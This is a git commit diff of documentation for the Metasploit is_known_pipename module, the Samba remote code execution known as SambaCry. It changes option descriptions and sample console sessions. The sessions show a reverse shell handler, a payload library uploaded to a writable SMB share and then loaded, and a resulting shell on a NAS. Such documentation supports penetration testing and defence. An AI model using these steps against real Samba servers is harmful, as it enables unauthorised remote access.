This commit is contained in:
Brent Cook
2017-05-30 00:14:33 -05:00
parent e31e3fc545
commit 28fb5cc7da
2 changed files with 7 additions and 7 deletions
@@ -58,12 +58,12 @@ echo -ne "type=AVC msg=audit(1495745298.086:334): avc: denied { execstack } fo
## Options
**SMB_SHARE_NAME**
The name of the SMB share containing a writeable directory. Shares are automatically scanned for, and if this
variable is non-blank, it will be preferred.
**SMB_SHARE_BASE**
The remote filesystem path correlating with the SMB share name. This value is preferred, but other values are
brute forced including:
@@ -79,7 +79,7 @@ echo -ne "type=AVC msg=audit(1495745298.086:334): avc: denied { execstack } fo
10. /tmp/home/home/shared
**SMB_FOLDER**
The directory to use within the writeable SMB share. Writable directories are automatically scanned for, and if this
variable is non-blank, it will be preferred.
@@ -90,7 +90,7 @@ echo -ne "type=AVC msg=audit(1495745298.086:334): avc: denied { execstack } fo
```
msf exploit(is_known_pipename) > exploit
[*] Started reverse TCP handler on 1.2.3.117:4444
[*] Started reverse TCP handler on 1.2.3.117:4444
[*] 1.2.3.119:445 - Using location \\1.2.3.119\ESX\ for the path
[*] 1.2.3.119:445 - Payload is stored in //1.2.3.119/ESX/ as eePUbtdw.so
[*] 1.2.3.119:445 - Trying location /volume1/eePUbtdw.so...
@@ -107,9 +107,9 @@ Linux synologyNAS 3.10.102 #15101 SMP Fri May 5 12:01:38 CST 2017 x86_64 GNU/Lin
### Ubuntu 16.04
```
msf exploit(is_known_pipename) > exploit
msf exploit(is_known_pipename) > exploit
[*] Started reverse TCP handler on 192.168.0.3:4444
[*] Started reverse TCP handler on 192.168.0.3:4444
[*] 192.168.0.3:445 - Using location \\192.168.0.3\yarp\h for the path
[*] 192.168.0.3:445 - Payload is stored in //192.168.0.3/yarp/h as GTithXJz.so
[*] 192.168.0.3:445 - Trying location /tmp/yarp/h/GTithXJz.so...